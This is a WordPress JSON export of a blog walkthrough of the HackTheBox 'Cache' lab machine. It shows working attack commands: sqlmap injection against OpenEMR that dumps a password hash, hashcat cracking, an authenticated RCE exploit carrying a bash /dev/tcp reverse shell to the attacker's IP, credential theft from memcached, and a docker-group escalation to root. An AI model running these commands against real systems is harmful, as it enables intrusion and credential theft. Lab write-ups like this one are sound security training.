{"id":129,"date":"2020-05-17T05:48:23","date_gmt":"2020-05-17T05:48:23","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=129"},"modified":"2020-10-10T19:10:13","modified_gmt":"2020-10-10T19:10:13","slug":"cache-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/cache-hackthebox-walkthrough\/","title":{"rendered":"Cache : Hackthebox Walkthrough"},"content":{"rendered":"\n<p>Hey hackers! This is Shreya Pohekar and today we are walking through Cache from hackthebox.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Summary:-<\/h3>\n\n\n\n<p>Cache is a medium Linux box. The initial foothold on the machine is based on a CVE of openemr which also requires a bit of enumeration to obtain creds. Escalating to the user is pretty simple as the creds to the user will be found at a very early stage. But there are 2 users on the box, each one having its importance. Escalation to root requires exploitation of docker with the help of the 2nd user who is also a member of the docker group.<\/p>\n\n\n\n<p>With all that said, let\u2019s get started!<\/p>\n\n\n\n<p>Starting with the quick port scan, I found 3 open ports<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV -oA cache.nmap 10.10.10.188<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/pGGT-HVYr641ecimTqHFBhHSwtDgoOr65uJV1IVZwil-DqJ7hg2eWHrcTwvZHWLoa2FEREL2hukd-E-pbz3xSUMxPMnp650v2nbaJjxchsY6Drp11w73z1ks9GlYyHpYH662ZZhx\" alt=\"\"\/><\/figure>\n\n\n\n<p>In the results, I found this weird thing that<strong> SimpleHTTPServer<\/strong> is running on port 8000. After rigorous port scan on 8000, it turned out that the port is closed.(lol! False results generated by nmap)<\/p>\n\n\n\n<p>On moving further to <a href=\"http:\/\/10.10.10.188\">http:\/\/10.10.10.188<\/a> a page loaded.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/xUWMOV8fJh56AcgbexQgV-CGEoDcACrB62x_xR1d52aHq0QQnfNZr7l8G4mTVfv8YlazzkrZGwkcKOAjElZkjQa5rrUOw45YX59NaY5skAfuUwprxKZmUzn0r_sUieP5JwjT_XUb\" alt=\"\"\/><\/figure>\n\n\n\n<p>Under author.html, <strong>ash<\/strong> seemed like a probable username. Also at the bottom, there was some hospital management system. [point noted]<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/NuiRrIZRNdqYeztTwFlv6hVaeGlHh49rJVkeArUGgruxOaPZaLB8hFv_nZuNC69e1R3tg5NRC_ohrp3F_ncAHdR2Ku9XQ5X7_FuRYrf1qCAjwijpqSbIvDFE5ttOUKpcKjS8QyfP\" alt=\"\"\/><\/figure>\n\n\n\n<p>Login.html landed up a page. Upon viewing its source code, there was a script <strong>functionality.js<\/strong>. It revealed the username and password to be <strong>ash<\/strong> and<strong> H@v3_fun<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/zWTFZ3pJ8kiMTvF2QmEV-R0NivftLCdZXHtYafb4ptDY_GO0MRTyEdp75BQxZ9nZkZYyzvDkTT7bnB9_U8PP_LA6fB6vXI60F40cf6lhH6JDmT8RvzTIj-WILv-2fW6f1gb6oA9Q\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/U9DQeHgYW1kJbcSu1U1eo5CL9VfV1qiUnl-UaRmLX2jAgeKsZP0Mdx0DdnqDDBD6pJHvnrRR8eA7dvLkhmgG2_30wPtFbA82q1AIjmAoDr5CmCqTOPG4dnFh6DAcOleMq--S3dud\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/D9xhbpV3B4APs-GI3CRattpeSgLNBwqYNRhpqoNibo-l8H173vl4j7ARNufqtoB4YRarNpYEz_bwEKOgnDScQpiAQGqJLstGprgIj2O72tk7Oh2GtYv4SiWbVIYF6WlbkMpFohGJ\" alt=\"\"\/><\/figure>\n\n\n\n<p>I used the credentials to login and got this page that was of no help. So that was the deadend.&nbsp;<\/p>\n\n\n\n<p>I also ran a gobuster scan but that too didn&#8217;t actually help.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/1uZImFSWcbiZxXDxBuy_PciH6-vOG3AUKGZJkVgsnByZWONVmHLS-3PSBjBPF65D87Avw1g4V-O_QIoLUbxxcx4tdN5Tzn4KjgCF0Fif6pA4YMheClXNFf78AdWXro4ufQZvzpu8\" alt=\"\"\/><\/figure>\n\n\n\n<p>So wondering upon previously obtained knowledge, I realized that the<strong> hospital management system<\/strong> is the one I should have a look at. Similar to cache.htb, I made an entry to<strong> \/etc\/hosts<\/strong> specifying (since hms was author&#8217;s another project)<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>10.10.10.188     hms.htb<\/p><\/blockquote>\n\n\n\n<p>On visiting <a href=\"http:\/\/hms.htb\">http:\/\/hms.htb<\/a> , the following login page landed.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/jAbLxe3JyiToA77yaXUWvb8zJr1hVY70cyBgwlOBqpsvyormbnqD-o5GPA_ahDvphF8qmmZa6MrUJgK1edNjFn9_F21cQVlULyNEcwMshyRMym0SopdxXDa6VA-EnE6SgN94nk-I\" alt=\"\"\/><\/figure>\n\n\n\n<p>Upon googling I found that openemr is medical practice management software. And that 2018 OpenEmr described that the version of the software would be something that was released in 2018. And i found it to be 5.0.1<\/p>\n\n\n\n<p>Alongside manual enumeration, I ran a few gobuster scans to retrieve any useful information.<\/p>\n\n\n\n<p class=\"wpf-blue-background\"><\/p>\n\n\n\n<p class=\"wpf-blue-background scroll\">\u26a1 root@kali  ~\/Desktop\/htb\/cache&gt;&gt;  gobuster dir &#8211;url  http:\/\/hms.htb\/interface -x php  -t 50  -w \/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt -q<br> \/.htaccess (Status: 403) <br> \/.htaccess.php (Status: 403)<br> \/.htpasswd (Status: 403)<br> \/.htpasswd.php (Status: 403)<br> \/billing (Status: 301)<br> \/drugs (Status: 301)<br> \/fax (Status: 301)<br> \/forms (Status: 301)<br> \/globals.php (Status: 200)<br> \/index.php (Status: 200)<br> \/language (Status: 301)<br> \/login (Status: 301)<br> \/logout.php (Status: 200)<br> \/main (Status: 301)<br> \/modules (Status: 301)<br> \n\/new (Status: 301)<br>\n\/orders (Status: 301)<br>\n\/pic (Status: 301)<br>\n\/practice (Status: 301)<br>\n\/reports (Status: 301)<br>\n\/super (Status: 301)<br>\n\/themes (Status: 301)<br>\n<\/p>\n\n\n\n<p class=\"wpf-blue-background scroll\">&nbsp;\u26a1 root@kali&nbsp; ~\/Desktop\/htb\/cache&gt;&gt;&nbsp; gobuster dir &#8211;url&nbsp; http:\/\/hms.htb\/ -x php&nbsp; -t 50&nbsp; -w \/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt -q<br>\n\/.htaccess (Status: 403) <br>\n\/.htaccess.php (Status: 403)<br>\n\/.htpasswd (Status: 403)<br>\n\/.htpasswd.php (Status: 403)<br>\n\/LICENSE (Status: 200)<br>\n\/admin.php (Status: 200)<br>\n\/ci (Status: 301)<br>\n\/cloud (Status: 301)<br>\n\/common (Status: 301)<br>\n\/config (Status: 301)<br>\n\/contrib (Status: 301)<br>\n\/controller.php (Status: 200)<br>\n\/controllers (Status: 301)<br>\n\/custom (Status: 301)<br>\n\/entities (Status: 301)<br>\n\/images (Status: 301)<br>\n\/index.php (Status: 302)<br>\n\/interface (Status: 301)<br>\n\/javascript (Status: 301)<br>\n\/library (Status: 301)<br>\n\/modules (Status: 301)<br>\n\/myportal (Status: 301)<br>\n\/patients (Status: 301)<br>\n\/portal (Status: 301)<br>\n\/public (Status: 301)<br>\n\/repositories (Status: 301)<br>\n\/server-status (Status: 403)<br>\n\/services (Status: 301)<br>\n\/setup.php (Status: 200)<br>\n\/sites (Status: 301)<br>\n\/sql (Status: 301)<br>\n\/templates (Status: 301)<br>\n\/tests (Status: 301)<br>\n\/vendor (Status: 301)<br>\n\/version.php (Status: 200)<br>\n<\/p>\n\n\n\n<p>With the help of gobuster results, I was able to verify the version of openemr<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/VYbS3bTnDRocriB-A7EZytKNRDSTwe-kZ6j_CJ61tkpe3Unx6Y4_atQARLi1n0N7xTzTe17x_sB8TgQifVDDASFowguPULlaC7O3XsFNUqR0TsKIRXAGNB7Agh6I3Rku839KWmDo\" alt=\"This image has an empty alt attribute; its file name is VYbS3bTnDRocriB-A7EZytKNRDSTwe-kZ6j_CJ61tkpe3Unx6Y4_atQARLi1n0N7xTzTe17x_sB8TgQifVDDASFowguPULlaC7O3XsFNUqR0TsKIRXAGNB7Agh6I3Rku839KWmDo\"\/><\/figure>\n\n\n\n<p>I searched for the available exploits for the version of openemr and found a few results.<strong> Authenticated RCE<\/strong> seemed promising but we needed some creds for the exploit to work. And the creds for ash were not working here(as he was<strong> not a valid user<\/strong>)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/NGO784u4ZOzIWFvPcqznAIJN1OKMat9y0CRHpBBbHmvHOoT2rdUMu6UqDbomeO91FaMmMIfZ79S0LN4gCe_ZsUZC8nyqDMwoX2G6KfYmwOQewMweO1E2CUmSAWbZKFUBkJmy_Wlt\" alt=\"\"\/><\/figure>\n\n\n\n<p>While searching for openemr exploits, I found a lot of <strong>sql injections<\/strong> possible even in the latest versions. So I spawned up sqlmap to find any creds. So I captured the request of http:\/\/hms.htb\/portal\/add_edit_event_user.php?eid=1 in burp and saved it in a file.<\/p>\n\n\n\n<p>Add_edit.req ( <a href=\"https:\/\/www.open-emr.org\/wiki\/images\/1\/11\/Openemr_insecurity.pdf\">sql injection<\/a> exploits of openemr)<\/p>\n\n\n\n<p class=\"wpf-blue-background\">\u26a1 root@kali&nbsp; ~\/Desktop\/htb\/cache&gt;&gt;&nbsp; cat add_edit.req &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>\nGET \/portal\/add_edit_event_user.php?eid=1 HTTP\/1.1  <br>\nHost: hms.htb<br>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:76.0) Gecko\/20100101 Firefox\/76.0<br>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br>\nAccept-Language: en-US,en;q=0.5<br>\nAccept-Encoding: gzip, deflate<br>\nConnection: close<br>\nCookie: OpenEMR=k7uvoa0ide7j70sgj5s6dgohlg; PHPSESSID=85taftptj1v16u04op23b0qnml<br>\nUpgrade-Insecure-Requests: 1<br>\nCache-Control: max-age=0<br>\n\n<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; sqlmap -r add_edit.req --threads=10 --dbs<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/u40q9rFEFGS5_k1CfiC00cD4h3iB8OkRw802aZj_NzxcqR2U2CkMvJHvU84ZFUobQkP18lmkFn_mi-O2U0AoOsy7zQyZP-nw5-XQACys1yNuUXoH4VBUdnJvbU_fPYYrqH_0i-Wb\" alt=\"\"\/><\/figure>\n\n\n\n<p>To list the tables in the database [there were 234 tables]<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; sqlmap -r add_edit.req --threads=10 -D openemr --table<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/fJjEro62av1MwA92PzmRXAO4Mum8WjIX1tUmM82-dkHhi60oTFL_Nb2Rlp0ssX1nxVURHr9SJa2zi_Qi8SyWyULf5GF-NNFHeBbPCuEWAOr2zUXwyE-V6HHQLMlu1HVA6pA7iY5N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Users_secure seems promising, so lets list its columns<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt;&nbsp; sqlmap -r add_edit.req --threads=10 -D openemr -T users_secure --column<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/QfVst7sJZDrbGFhuFcwhuLLHmnTRkLj35zh2feY3PR7nbZbSf4672nZpUaOd_LgjVEjI72lClyZMARVR3exL-rtQXqQd1PSFj345YZkidjZlePSf4oU8YWptVbNiBqmpfjtWXKER\" alt=\"\"\/><\/figure>\n\n\n\n<p>Dumping the contents of users_secure<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt;&nbsp; sqlmap -r add_edit.req --threads=10 -D openemr -T users_secure --dump<\/pre>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>| 1&nbsp; | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL&nbsp; &nbsp; &nbsp; | NULL&nbsp; &nbsp; &nbsp; | NULL&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | NULL&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<\/p><\/blockquote>\n\n\n\n<p>I finally found the username and password hash.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/R_87u8pXAMVrxmXm2C7rrkvQMRROcH-mcAi7QQ1YNTfqvWXlgrNRiKayE8MJrbL8zu7AeFlmukBgrd-quAWTsSc5i3pe41Q4Q6dEVrJrDSR5A_1DLymmTkWAKGgmgj1JIUHzEQkQ\" alt=\"\"\/><\/figure>\n\n\n\n<p>Hashcat example hashes found the matching pattern for which mode to use<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/rOrqCt8NUupG8xP1l_1ECYbT_EwNkBRAQtXtS5ZhXIVvrWxyE5G51PYzh4e9C1yAvJbMsgoVlEUC4XN-OPmgM6JMHf45nfVLBx83CUQ3seEssjFi8tHCbTPxcDnGMc_m78xlv2FR\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; hashcat -m 3200 openemr_admin.hash \/usr\/share\/wordlists\/rockyou.txt --force<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/QHnx9GHa24h-CzEVQiyuGNcONN1n0Rpcctg4zmZf4F2R3gUjti5h8dCGoYsyEDUFXZuSGb-1p8oprqUzdhPN3ytW7tE3o-UswA_-GZ4YMJBN3v8xyEQVl2ck_FC9xZuRZKYwB5yR\" alt=\"\"\/><\/figure>\n\n\n\n<p>The password cracked out to be<strong> xxxxxx<\/strong><\/p>\n\n\n\n<p>Now that we have the creds, authenticated RCE can be performed. You can grab the exploit from <a href=\"https:\/\/www.exploit-db.com\/exploits\/45161\">here<\/a>.<\/p>\n\n\n\n<p>Open up a ncat listener on port 1337 using (nc -lnvp 1337) and run the following command<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># python 45161.py http:\/\/hms.htb\/ -u openemr_admin -p xxxxxx -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.99\/1337 0&gt;&amp;1'<\/pre>\n\n\n\n<p>Do not forget to change the IP that corresponds to your attacking machine.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Grabbing the user.txt<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/q8i2YixAGjcVCuQar59Jh5czBCIFmw6j9sxwb2uxj400uXow-zkK2A1pcLAzSNvhPdFcxXTrak5Ic1MqrjhMtLhvmH8PYdzhmfINjNtltm6g1_jMNRFZuGxE4g9IgqZGPxqeb95i\" alt=\"\"\/><\/figure>\n\n\n\n<p>And I got a shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/FMAk_CD3a_RH4MaCWkjeYcO5domI53sHbjzmg68MMVZyGDsS81grRQLWUEMH9tmokfdf6-H4E5hk51MM4cMUmwgbzm0xtJcXVtsjIaihTRwt1mmtM2kh_DAX5X4XF8I3UsCVUsC_\" alt=\"\"\/><\/figure>\n\n\n\n<p>There were 2 users of which I had pass for ash, obtained earlier. I tried to su, but it was not a proper shell.&nbsp;<\/p>\n\n\n\n<p>So I ran the following commands<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># export TERM=xterm\n# python3 -c 'import pty; pty.spawn(\"\/bin\/bash\")'<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/lSFqYW8iA_cSx-rR74u773pIuAFzpxUs0v2KAlKdweGcal6kBWCMwTg7ewNQd4iYYH3hq-CeEmMFxHJ66aX9cjo-PnuVoSgaMpGrTFcPREVA7B_gQRiz8s9JyNS7j2QOkLvySBUY\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/C4aQc5cggIu8y0OKklJl6ChluLxED7iQ2NsJKxEJW99k9UqsaB66WDCUkMoa1Mcy2y4qsr9yjkeyjjp5DPZVPFWZloIDu4yTxjRWU-_qvS1OINYGqFOV45oSAVWMtSjNBQdFU_pV\" alt=\"\"\/><\/figure>\n\n\n\n<p>So the user is <strong>pwned<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">TIme for privilege escalation.<\/h3>\n\n\n\n<p>After enumerating with LinEnum.sh (can be found <a href=\"https:\/\/github.com\/rebootuser\/LinEnum\/blob\/master\/LinEnum.sh\">here<\/a>), I found that there was docker running on the box<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/XaB0kqrUVoY-0tb_pOxf-5JH3Vwm3rXqvd-e6b5nCcrAI04xdnMaKRzamwFeW_vB4f794iIvFUYTb5f12Pd__mjGK37GFpxe-1taXBrO90qVrZT3MUFkqyXeYoV120frgHFDai6G\" alt=\"\"\/><\/figure>\n\n\n\n<p>I tried to run the docker with ash but the permission was denied<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/WHum3Uao5mBaChW_gM93eTP8cpNblCGCkp75Gzoq2p_vrIQhJAwc7IOGGuQ44pe22jnPXqLVhIQl8SIadJjbsiok4ifXvb1ORuaK2nrs68Wwz4tOyrurg3Lw6aA6cU7aeWQHrn-_\" alt=\"\"\/><\/figure>\n\n\n\n<p>So i listed the contents of \/etc\/group to see if any user is member of docker group. And yes it was user luffy.<\/p>\n\n\n\n<p>cat \/etc\/group<br>      Docker:x:999:luffy<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/64ey9LChvOjgCjP2hPdgXL2wFXASfkFnMnjjDwt8WuMX_GyrDTY2NkdtY6oywksClmqTEQomsSh7bTJRZynRwPz8dWAqWbZ0GykwwSSrEBaLhY8rw66S7BjT-3lI3-yp3qPmWXBC\" alt=\"\"\/><\/figure>\n\n\n\n<p>Therefore only<strong> luffy <\/strong>can execute the docker commands.<\/p>\n\n\n\n<p>Since all the commands in docker require a sudo<br>Being the member of docker group means the user has password-less access to root. Now the goal was to retrieve the creds of the Luffy. So I again scrolled through the results of enumeration and found out that a port <b>11211<\/b> was active on telnet. And that&#8217;s where <b>Memcached<\/b> works.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/8TJK5RNHHXQOyx3Vds0DcCe_qcE9hUTmVT5c5Ug9olQpMUakk5OZ1D-Vydjy40dfLU2pOOws-20sBCFzSFhcGgU0zU2lJ4HdGoywVNCtdV4gm0KWILJU2pgqrdLIDdVIHj93AkhG\" alt=\"\"\/><\/figure>\n\n\n\n<p>If you are unaware of the term, let me explain a bit.<\/p>\n\n\n\n<p>Memcached is basically an open source distributed memory caching system. It speeds up the loading of dynamic web application by reducing the load on the database. So this popular caching solution can be queried for any useful information.&nbsp;<\/p>\n\n\n\n<p>We can communicate to memcached using telnet<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; telnet 127.0.0.1 11211<\/pre>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>stats items&nbsp; # This command gets items statistics such as count, age, eviction, etc. organized by slabs ID<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/qf_etgg8Kp4GX1EAzyo2ELFEjzZ62jlTX34jqHTWqzapfFy1xRIPaPF9MuF6Ej_WCLkwHyTBtWuqO8-NOIQ1v34pca5lD42tIfNtO_cy5xJyVcMiGGWd068pMrafe08gXn8XZ5YL\" alt=\"\"\/><\/figure>\n\n\n\n<p>In the output, the number after items: is the slab id (1 in my case). We can request a cache dump for each slab id, with a limit for the max number of keys to dump. This command is gonna output all the keys stored in memcached.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>&gt;&nbsp; stats cachedump 1 100<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/-Cr64mdG3vPI53L3vHyVImm36nYLQM7v4kmnhy3WNXOdn7g3sLNbu3uQmRNEToGh3g1vbKs5xosQ52A-4mDYl4OeAzwUiMwjZrIXlSwRk1IoJGeCyUNv-iNrGmknZpxYi-wXv4-P\" alt=\"\"\/><\/figure>\n\n\n\n<p>The value of the key can be obtained with get command.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>&gt; get user<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/fb6YC8f591mW4K4N_sSeYashiTRV8ICEkvPscL-M6snWAiMJnZpxirWZbzuk5sNyEi1bKXTP4RQkAdDwSfc3dqWqNRv48Yy9CMbKPJQ6TZ0yAxMyL7_4JVTenOsFR8R3k568hWaI\" alt=\"\"\/><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>&gt; get passwd #retrieves any stored password (passwd is the key)<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/Z18y5VAO6cNt4l-kAmHB1MmfLB1PqtYQ9Is6LILARwZxmEkovXHJar755F76dZwAE4LWd-POOIDZtlyTDxz1HMWqkz348Ky4yHnMoZqPGJRQYtUgd_iHlRfDrTC71hW58bm4TjuJ\" alt=\"\"\/><\/figure>\n\n\n\n<p>Password : <strong>0n3_p1ec3<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/oDzh9yO0NoZOTBO6q7IuvsxoAXXUI2WuWImiz7MJFppDjHN3RdeRI_MWvWdIIfDzQr0PCKLSUe1XDQfHj-8Zd_8hEqxjJv9cnr7ammgId6mTIZdWuR9r4yj9WEUQUCk5j5nR6nD3\" alt=\"\"\/><\/figure>\n\n\n\n<p>Now as I was logged in as luffy, I could list the docker image.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/8RUOoWZzcwLWpjFm_sVhtwNEa8Mq1I4AsYbudcNMiG10rxD2Ac2f-_nice5IVSB_ovIpjLWpsnK8wteKcWTGPh2KvzbzMK8x8SXzXiBwJ8apf4Ot1dFXI0fDEL1_Rpj1LcXEG3wF\" alt=\"\"\/><\/figure>\n\n\n\n<p>I searched for privilege escalation with docker and found a link for GTFObins<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/bb4eLpFEOhEFPdy4NBji9niYVqR-Otxx4iMVU9MojsgapWINn7FUyWETpyB6h8KboAwy7eDr7MuB3v2Jc91RX9-V0QQKDOxl55pO-XJtdT4YPyR6RGEAL1QbX76nwfE7tDMs_nqM\" alt=\"\"\/><\/figure>\n\n\n\n<p>Since luffy is a member of docker group, running the above command directly priv esc to root.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; docker run -v \/:\/mnt --rm -it ubuntu chroot \/mnt sh<\/pre>\n\n\n\n<p>-v : To bind mount a volume<br> &#8211;rm : Automatically remove the container when it exits<br> -it : Keep STDIN open even if not attached and Allocate a pseudo-TTY<br> chroot : changes the apparent root directory for the current running process ( here to \/mnt)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/UTB77VbjI6LMnCEiv-jqvnIRQZx80u41fo23Qkaq4t9xXzAmrJ-584DpltzQzZ2lxtbUpbgqxL_0Mbz3PNELt26hJH_uqqSiNux3GYzWfFeP4rge4faY8RS9KfEqgjN4y4JJNIUk\" alt=\"\"\/><\/figure>\n\n\n\n<p>Thats all for the blog post.&nbsp;<\/p>\n\n\n\n<p>If you enjoyed reading do like the post.<br>\nUntil then!! Happy Hunting!!<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cache is medium linux box. Initial foothold is based on CVE of openEMR and privlege escalation requires exploiting the docker group member.<\/p>\n","protected":false},"author":1,"featured_media":148,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2],"tags":[69,66,67,73,70,26,54,71,72,77,68,74,9,76,75],"class_list":["post-129","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","tag-authenticated-rce","tag-cache","tag-docker","tag-docker-group","tag-gtfobins","tag-hackthebox","tag-htb","tag-linux","tag-memcached","tag-openemr","tag-openemr-5-0-1","tag-sql","tag-sql-injection","tag-sql